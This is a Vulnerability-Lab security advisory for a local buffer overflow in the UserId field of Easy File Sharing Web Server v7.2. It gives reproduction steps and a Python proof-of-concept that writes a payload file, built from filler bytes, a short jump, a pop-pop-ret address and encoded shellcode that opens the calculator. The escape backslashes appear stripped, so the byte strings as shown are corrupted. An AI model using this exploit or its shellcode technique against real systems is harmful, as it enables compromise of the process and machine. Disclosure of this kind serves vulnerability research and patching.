Easy File Sharing WS v7.2 - (UserId) Buffer Overflow

Document Title:
===============
Easy File Sharing WS v7.2 - (UserId)  Buffer Overflow


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2149


Release Date:
=============
2018-10-02


Vulnerability Laboratory ID (VL-ID):
====================================
2149


Common Vulnerability Scoring System:
====================================
6.4


Vulnerability Class:
====================
Buffer Overflow


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Easy File Sharing Web Server is a file sharing software that allows visitors to upload/download files easily through a Web Browser (IE, Firefox, Chrome etc.). 
It can help you share files with your users, customers and partners. They can search for and download files from your computer or upload files from theirs. 
The files on your PC can be accessible from anywhere without special software. Easy File Sharing Web Server also provides a Bulletin Board System (Forum). 
It makes it easy for remote users to post messages and files to the forum. The Secure Edition adds support for SSL encryption that helps protect businesses 
against site spoofing and data corruption.

(Copy of the Homepage: http://www.sharing-file.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability researcher of the laboratory discovered a local buffer overflow vulnerability in the Easy File Sharing Web Server v7.2.


Vulnerability Disclosure Timeline:
==================================
2018-10-02: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
EFS Software Inc
Product: Easy File Sharing Web Server 7.2


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A local buffer overflow vulnerability has been discovered in the official Easy File Sharing Web Server v7.2. 
The software vulnerability allows local attackers to overwrite the registers (exp: eip) to compromise the 
local software process. The issue can be exploited by local attackers with system privileges to compromise 
the affected local computer system. The security vulnerability is marked as classic buffer overflow issue.

The security risk of the local buffer overflow vulnerability is estimated as high with a cvss count of 6.4. 
Exploitation of the buffer overflow vulnerability requires a low privilege restricted system user account 
without user interaction. Successful exploitation of the vulnerability results in overwrite of the active 
registers to compromise of the computer system or process.

Vulnerable Module(s):
[+] Click User Account

Vulnerable Function(s):
[+] Add


Proof of Concept (PoC):
=======================
The local buffer overflow vulnerability can be exploited by local attackers with restricted system user account without user interaction. 
For security demonstration or to reproduce follow the provided information and steps below to continue.

1. Download and install Easy File Sharing Web Server v7.2
2. Run the python operating script that will locally create a file (poc.txt)
3. Run the software "Click User Account" and then push the "Add" function
4. Paste the contents of the file (poc.txt) into the input "UserId" and click "OK"
Note: Now the calculator executes!
5. Successful reproduce of the local buffer overflow vulnerability!


Exploit: PoC (Python)

#!/usr/bin/python
from struct import pack

buffer = "x41" * 4059 
a = "xebx06x90x90"
b = pack("<I",0x1001b8c0) #0x1001b8c0 : pop esi # pop ebp # ret
calc=("xdbxd7xd9x74x24xf4xb8x79xc4x64xb7x33xc9xb1x38"
"x5dx83xc5x04x31x45x13x03x3cxd7x86x42x42x3fxcf"
"xadxbaxc0xb0x24x5fxf1xe2x53x14xa0x32x17x78x49"
"xb8x75x68xdaxccx51x9fx6bx7ax84xaex6cx4ax08x7c"
"xaexccxf4x7exe3x2exc4xb1xf6x2fx01xafxf9x62xda"
"xa4xa8x92x6fxf8x70x92xbfx77xc8xecxbax47xbdx46"
"xc4x97x6exdcx8ex0fx04xbax2ex2exc9xd8x13x79x66"
"x2axe7x78xaex62x08x4bx8ex29x37x64x03x33x7fx42"
"xfcx46x8bxb1x81x50x48xc8x5dxd4x4dx6ax15x4exb6"
"x8bxfax09x3dx87xb7x5ex19x8bx46xb2x11xb7xc3x35"
"xf6x3ex97x11xd2x1bx43x3bx43xc1x22x44x93xadx9b"
"xe0xdfx5fxcfx93xbdx35x0ex11xb8x70x10x29xc3xd2"
"x79x18x48xbdxfexa5x9bxfaxf1xefx86xaax99xa9x52"
"xefxc7x49x89x33xfexc9x38xcbx05xd1x48xcex42x55"
"xa0xa2xdbx30xc6x11xdbx10xa5xafx7fxccx43xa1x1b"
"x9dxe4x4exb8x32x72xc3x34xd0xe9x10x87x46x91x37"
"x8bx15x7bxd2x2bxbfx83")
nops = "x90" * 20

poc = buffer + a + b + nops + calc
file = open("poc.txt","w")
file.write(poc)
file.close()
 
print "PoC Created by ZwX"


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the add function of the software is estimated as high.


Credits & Authors:
==================
ZwX [[email protected]] - https://www.vulnerability-lab.com/show.php?user=ZwX


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=========================
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